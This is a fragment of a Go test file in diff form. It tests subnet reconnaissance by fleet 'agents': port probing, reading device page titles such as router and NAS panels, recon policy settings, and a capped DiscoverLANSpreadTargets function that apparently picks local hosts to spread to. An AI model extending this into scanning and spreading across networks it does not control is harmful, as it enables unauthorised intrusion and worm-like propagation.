t.Fatalf("open_ports=%v", h.OpenPorts)
|
||||||
|
}
|
||||||
|
if h.HTTPTitle != "Router Admin" {
|
||||||
|
t.Fatalf("http_title=%q", h.HTTPTitle)
|
||||||
|
}
|
||||||
|
if h.LastSeen == "" {
|
||||||
|
t.Fatal("expected last_seen timestamp")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunSubnetReconIgnoresHostsWithNoOpenPorts(t *testing.T) {
|
||||||
|
prevProbe := probePortsFn
|
||||||
|
defer func() { probePortsFn = prevProbe }()
|
||||||
|
probePortsFn = func(host string, ports []int) []int { return nil }
|
||||||
|
|
||||||
|
hosts := runSubnetReconTargets("agent-1", nil, []string{"10.0.0.10", "10.0.0.11"})
|
||||||
|
if len(hosts) != 0 {
|
||||||
|
t.Fatalf("expected no hosts, got %+v", hosts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseHTTPTitle(t *testing.T) {
|
||||||
|
body := "<html><head><title> NAS Panel </title></head></html>"
|
||||||
|
got := ParseHTTPTitleForTest(body)
|
||||||
|
if got != "NAS Panel" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestUpdateSubnetReconPolicyIntervalDefault(t *testing.T) {
|
||||||
|
ResetSubnetReconForTest()
|
||||||
|
UpdateSubnetReconPolicy(true, 0, "agent-a", []string{"10.0.0.1"})
|
||||||
|
enabled, interval, agentID, fleetIPs := subnetReconPolicySnapshot()
|
||||||
|
if !enabled || interval != DefaultSubnetReconIntervalMin || agentID != "agent-a" {
|
||||||
|
t.Fatalf("enabled=%v interval=%d agent=%q", enabled, interval, agentID)
|
||||||
|
}
|
||||||
|
if len(fleetIPs) != 1 || fleetIPs[0] != "10.0.0.1" {
|
||||||
|
t.Fatalf("fleetIPs=%v", fleetIPs)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDiscoverLANSpreadTargetsRespectsReconCap(t *testing.T) {
|
||||||
|
prevProbe := probePortsFn
|
||||||
|
defer func() { probePortsFn = prevProbe }()
|
||||||
|
probePortsFn = func(host string, ports []int) []int { return nil }
|
||||||
|
|
||||||
|
targets := DiscoverLANSpreadTargets(999)
|
||||||
|
if len(targets) > MaxSubnetScanHosts {
|
||||||
|
t.Fatalf("DiscoverLANSpreadTargets ignored cap: got %d want ≤ %d", len(targets), MaxSubnetScanHosts)
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user